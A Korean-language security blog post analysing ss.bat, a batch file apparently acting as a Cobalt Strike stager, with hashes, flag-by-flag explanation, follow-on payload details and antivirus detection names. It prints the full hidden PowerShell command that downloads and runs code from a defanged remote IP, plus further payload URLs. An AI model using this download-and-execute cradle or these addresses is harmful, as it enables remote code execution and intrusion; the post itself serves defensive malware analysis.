꿈을꾸는 파랑새

오늘은 코발트 스트라이크(Cobalt Strike) 의심스러운 PowerShell(파워셀) 다운로드 및 실행을 파일인 ss.bat에 대해 글을 적어보겠습니다.
일단 파일은 기본적으로 bat 형식으로 돼 있고 해당 악성코드 해쉬값들은 다음과 같습니다.
파일명:ss.bat
사이즈:125 B
CRC32:f325d765
MD5:8087b74261c8b141747810f497ec55d1
SHA-1:98bc41648959baa65fc7d1127af246358a0b1c0d
SHA-256:6ee39e7356b34bafdb8400c5d74735419699b60bd5ac380f1eb6af05d4103f6b
입니다. 뭐 그렇게 거창해진 파일이 아니고 그냥 파일을 열어 보면 다음과 같이 파워셀이 있는 것을 확인할 수가 있습니다.

ss.bat 내용
ss.bat 내용

echo off
powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).
downloadstring ("http://185.11.61(.)85:80/sjyyd2"))

해당 코드는 기본적으로 악의적 목적으로 사용되는 스크립트이며 주어진 코드는 Batch 으로 이루어진 파일이고 해당 파일은 윈도우 운영 체제에서 여러 명령을 실행하는 스크립트 파일 
설명
echo off: 해당 명령은 Batch 파일이 실행될 때 화면에 명령을 표시하지 않도록 설정
powershell.exe:PowerShell(파워셀)을 실행하는 명령어
-nop: PowerShell을 시작할 때 프로필을 로드하지 않음
-w hidden`: PowerShell 창을 숨기고 실행
-c: 지정된 문자열을 PowerShell 명령어로 실행
IEX: Invoke-Expression 의 약어 문자열을 PowerShell 코드로 해석하고 실행하는 데 사용
((new-object net.webclient).downloadstring ("http://185.11.61(.)85:80/sjyyd2")): PowerShell에서 원격 주소에서 스크립트나 코드를 다운로드하는 명령 해당 스크립트는 웹 클라이언트를 만들고 해당 원격 주소에서 데이터를 다운로드 하여 실행하며 해당 IP 주소는 러시아의 Grozny(그로즈니) 즉 러시아 연방 체첸 공화국의 수도로 나오네요. 그리고 해당 파워셀을 통해서 payload_1.ps1를 다운로드 해서 실행이 되면 해쉬값은 다음과 같습니다.

payload_1.ps1 파워셀 내용
payload_1.ps1 파워셀 내용

파일명:payload_1.ps1
사이즈:197 KB
CRC32:adcef927
MD5:2f252b7f17ee8af31f37fbff7502f304
SHA-1:f23967d0cdcf50dca05d15dbe3bd84d70d7eb665
SHA-256:bf04470d545118cf18390adfc7766d04172c90221eb0bfe5850dd2347884bb6d
그리고 다시 ga(.)js를 다운로드 하려고 다음과 같은 작업을 합니다. 해당 악성코드가 실행되면 다음과 같은 PowerShell 동작을 합니다.

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "-file" "C:\Users\admin\AppData\Local\Temp\payload_1(.)ps1"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe: 해당 부분은 PowerShell 실행 파일의 경로 해당 프로그램은 PowerShell 스크립트를 실행하는 데 사용
-file:해당 부분은 PowerShell 실행 파일의 인자(parameter)로서 다음에 오는 인자가 실행할 PowerShell 스크립트의 경로임을 나타냄
C:\Users\admin\AppData\Local\Temp\payload_1(.)ps1: 해당 부분은 실행될 PowerShell 스크립트의 경로를 나타내고 있으며 다음과 같은 공개키를 사용합니다. 

-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDADXzqpTD7NbPs9fk26v4RDX6a
fZN1KBHf7T2p2Afi0FlDcCNswUBucwmq6FHbUFC0T0mHLT8cDm4ATTrLyYfAqn2z
r6XdbObTxFNi+r7yqTsOZyKbGn1kR8NPAdTc5gUsoWGFPDnZiduWFT4sSgpe+j4R
KZnM1iZ2EjEW6zUjaQIDAQAB
-----END PUBLIC KEY-----

그리고 해당 코드는 코발트 스트라이크 추측이 되며 CobaltStrike 해킹툴 이며 비컨(beacon), 팀 서버(Team Server),코발트 스트라이크 클라이언트(Cobalt Strike Client) 3가지로 구분이 되며 다음과 같은 역할을 합니다.
코발트 스트라이크를 활용한 사이버 공격 킬 체인(Kill Chain) 구축
초기 침투(Initial Compromise) 및 거점 확보(Establish Foothold)
권한 상승(Privilege Escalation)
내부 정찰(Internal Reconnaissance)
측면 이동(Lateral Movement)
제어 유지(Maintain Persistence) 및 목적 완료(Complete Mission)
간단하게 하면 Key Logging(키로깅) 과 화면 캡처 기능들도 포함이 되어져 있습니다. 아무튼, 최종적으로 으로 ga(.)js로 향하게 돼 있습니다.

http://185.11.61(.)85/ga(.)js

 

payload_1.ps1는 바이러스토탈(VirusTotal)에서 탐지하는 보안업체들은 다음과 같습니다.
ALYac:Generic.PwShell.Rozena.1.F6821D5E
Arcabit:Generic.PwShell.Rozena.1.F6821D5E
Avast:PwrSh:Agent-E [Trj]
AVG:PwrSh:Agent-E [Trj]
Avira (no cloud):TR/Cobalt.G
Baidu:PowerShell.Trojan-Downloader.Agent.ae
BitDefender:Generic.PwShell.Rozena.1.F6821D5E
ClamAV:Win.Trojan.Meterpreter-7385375-0
Cynet:Malicious (score: 99)
Cyren:PSH/Inject.A.gen!Camelot
DrWeb:PowerShell.DownLoader.60
EmsisoftGeneric.PwShell.Rozena.1.F6821D5E (B)
eScan:Generic.PwShell.Rozena.1.F6821D5E
ESET-NOD32:PowerShell/Kryptik.EJ
F-Secure:Trojan.TR/Cobalt.G
GData:Generic.PwShell.Rozena.1.F6821D5E
Google:Detected
Kaspersky:HEUR:Trojan.Win32.Generic
MAX:Malware (ai Score=89)
McAfee-GW-Edition:BehavesLike.PS.Dropper.cn
Microsoft:Trojan:Script/Wacatac.B!ml
QuickHeal:PS1.Agent.39372
Rising:Trojan.CobaltStrike/PS!1.D1D5 (CLASSIC)
Sangfor Engine Zero:HackTool.Win32.Command_Ps1_v2_5_to_v3_7_and_Resources_Compress_
Sophos:Troj/PShlSpy-A
Symantec:Backdoor.Cobalt
Trellix (FireEye):Generic.PwShell.Rozena.1.F6821D5E
TrendMicro:Trojan.PS1.COBEACON.SMYXAK-A
TrendMicro-HouseCall:Trojan.PS1.COBEACON.SMYXAK-A
VIPRE:Generic.PwShell.Rozena.1.F6821D5E
ZoneAlarm by Check Point:HEUR:Trojan.Win32.Generic
아무튼, 악성코드 예방을 하는 방법은 그렇게 거창하건 이 아니고 기본적인 보안 수칙을 잘 지키는 것입니다.

공유하기

facebook twitter kakaoTalk kakaostory naver band